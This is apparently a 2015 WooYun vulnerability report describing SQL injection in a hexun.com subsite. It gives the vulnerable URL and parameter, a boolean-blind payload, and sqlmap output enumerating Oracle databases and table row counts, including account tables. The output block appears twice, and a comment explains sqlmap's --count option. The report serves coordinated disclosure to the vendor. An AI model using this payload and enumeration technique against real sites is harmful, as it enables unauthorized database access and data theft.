和讯网某分站SQL注射漏洞之和讯网某分站(明文账号密码)

编号125699
Urlhttp://www.wooyun.org/bug.php?action=view&id=125699
漏洞状态厂商已经确认
漏洞标题和讯网某分站SQL注射漏洞之和讯网某分站(明文账号密码)
漏洞类型SQL注射漏洞
厂商和讯网
白帽子安全小飞侠
提交日期2015-07-09 17:31:00
公开日期2015-08-23 17:34:00
修复时间(not set)
确认时间2015-07-09 00:00:00
Confirm Spend0
漏洞标签SQL注射 Oracle
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank15
漏洞简介
请叫我安全小飞侠,谢谢!
漏洞细节

http://baidu.hexun.com/report/ifread.php?t=1&id=617695
注射参数: id
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] N
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://baidu.hexun.com:80/report/ifread.php?t=1&id=617695 AND 7598=
7598
---
[16:04:00] [INFO] testing MySQL
[16:04:01] [WARNING] the back-end DBMS is not MySQL
[16:04:01] [INFO] testing Oracle
[16:04:01] [INFO] confirming Oracle
[16:04:02] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
available databases [9]:
[*] BDFIN
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] REPDBO
[*] SYS
[*] SYSTEM
[*] WMSYS


+------------------------+---------+
| Table | Entries |
+------------------------+---------+
| FUTURES_QUOTE | 26984041 |
| R_STOCKS_SECTOR | 3604361 |
| TB_HJ_TTJ | 2477437 |
| TB_STOCK_BOARD | 2215113 |
| VOTE | 2186237 |
| TB_SGE_QUOTE | 1463523 |
| TB_METAL_QUOTE | 1438797 |
| USA_STOCK_QUOTE_TMP | 1067821 |
| R_INFO_O | 1029189 |
| TB_STOCK_BOARD_INDEX | 865135 |
| R_INFO | 597134 |
| TB_TJS_FS | 525422 |
| TB_METAL_QUOTE_FX678 | 497540 |
| CS_TNCONT | 152035 |
| TB_STOCK_BOARD_MONITOR | 64100 |
| USA_STOCK_QUOTE | 48146 |
| TB_SW_HQ | 25045 |
| CODE_INFO | 22329 |
| STOCK_BOARD | 4311 |
| STOCK_BOARD_MONITOR | 4295 |
| R_STOCK | 4225 |
| R_INFO_2 | 3970 |
| TB_TJS_K | 2012 |
| R_SECTOR_TDX | 1986 |
| VOTE_MI | 925 |
| R_GRADE | 645 |
| USA_STOCK_CODE | 442 |
| R_INDUSTRY | 345 |
| CT_USERINFO | 289 |
| TRADINFO | 270 |
| CS_TNCONT_NEW | 209 |
| R_INSCODE | 146 |
| R_SECTOR | 134 |
| CS_TNCONF | 123 |
| MEMBER_STOCKS | 43 |
| FUTURES_CODE | 27 |
| AD_KB | 26 |
| TEST | 25 |
| MEMBER_STOCK_TRADE | 13 |
| MEMBER_STOCK_GROUPS | 11 |
| RP_TEST | 9 |
| ACCOUNT | 6 |
| REPORT_USER_ACCOUNT | 5 |
+------------------------+---------+


hexun.jpg

POC

http://baidu.hexun.com/report/ifread.php?t=1&id=617695
注射参数: id
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] N
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://baidu.hexun.com:80/report/ifread.php?t=1&id=617695 AND 7598=
7598
---
[16:04:00] [INFO] testing MySQL
[16:04:01] [WARNING] the back-end DBMS is not MySQL
[16:04:01] [INFO] testing Oracle
[16:04:01] [INFO] confirming Oracle
[16:04:02] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
available databases [9]:
[*] BDFIN
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] REPDBO
[*] SYS
[*] SYSTEM
[*] WMSYS


+------------------------+---------+
| Table | Entries |
+------------------------+---------+
| FUTURES_QUOTE | 26984041 |
| R_STOCKS_SECTOR | 3604361 |
| TB_HJ_TTJ | 2477437 |
| TB_STOCK_BOARD | 2215113 |
| VOTE | 2186237 |
| TB_SGE_QUOTE | 1463523 |
| TB_METAL_QUOTE | 1438797 |
| USA_STOCK_QUOTE_TMP | 1067821 |
| R_INFO_O | 1029189 |
| TB_STOCK_BOARD_INDEX | 865135 |
| R_INFO | 597134 |
| TB_TJS_FS | 525422 |
| TB_METAL_QUOTE_FX678 | 497540 |
| CS_TNCONT | 152035 |
| TB_STOCK_BOARD_MONITOR | 64100 |
| USA_STOCK_QUOTE | 48146 |
| TB_SW_HQ | 25045 |
| CODE_INFO | 22329 |
| STOCK_BOARD | 4311 |
| STOCK_BOARD_MONITOR | 4295 |
| R_STOCK | 4225 |
| R_INFO_2 | 3970 |
| TB_TJS_K | 2012 |
| R_SECTOR_TDX | 1986 |
| VOTE_MI | 925 |
| R_GRADE | 645 |
| USA_STOCK_CODE | 442 |
| R_INDUSTRY | 345 |
| CT_USERINFO | 289 |
| TRADINFO | 270 |
| CS_TNCONT_NEW | 209 |
| R_INSCODE | 146 |
| R_SECTOR | 134 |
| CS_TNCONF | 123 |
| MEMBER_STOCKS | 43 |
| FUTURES_CODE | 27 |
| AD_KB | 26 |
| TEST | 25 |
| MEMBER_STOCK_TRADE | 13 |
| MEMBER_STOCK_GROUPS | 11 |
| RP_TEST | 9 |
| ACCOUNT | 6 |
| REPORT_USER_ACCOUNT | 5 |
+------------------------+---------+


修复方案

你懂的,抓紧修复吧

状态信息 2015-07-09: 细节已通知厂商并且等待厂商处理中
2015-07-09: 厂商已经确认,细节仅向厂商公开
2015-07-19: 细节向核心白帽子及相关领域专家公开
2015-07-29: 细节向普通白帽子公开
2015-08-08: 细节向实习白帽子公开
2015-08-23: 细节向公众公开
厂商回复谢谢
回应信息危害等级:高漏洞Rank:15 确认时间:2015-07-09 17:33
Showing 1-3 of 3 items.
评论内容评论人点赞数评论时间

@安全小飞侠 嗯嗯,,谢谢,ok

DloveJ02015-08-27 17:02:00

@DloveJ --count 参数

安全小飞侠02015-08-27 16:54:00

@安全小飞侠 Table | Entries | entries 这个参数怎么显示??

DloveJ02015-08-27 16:43:00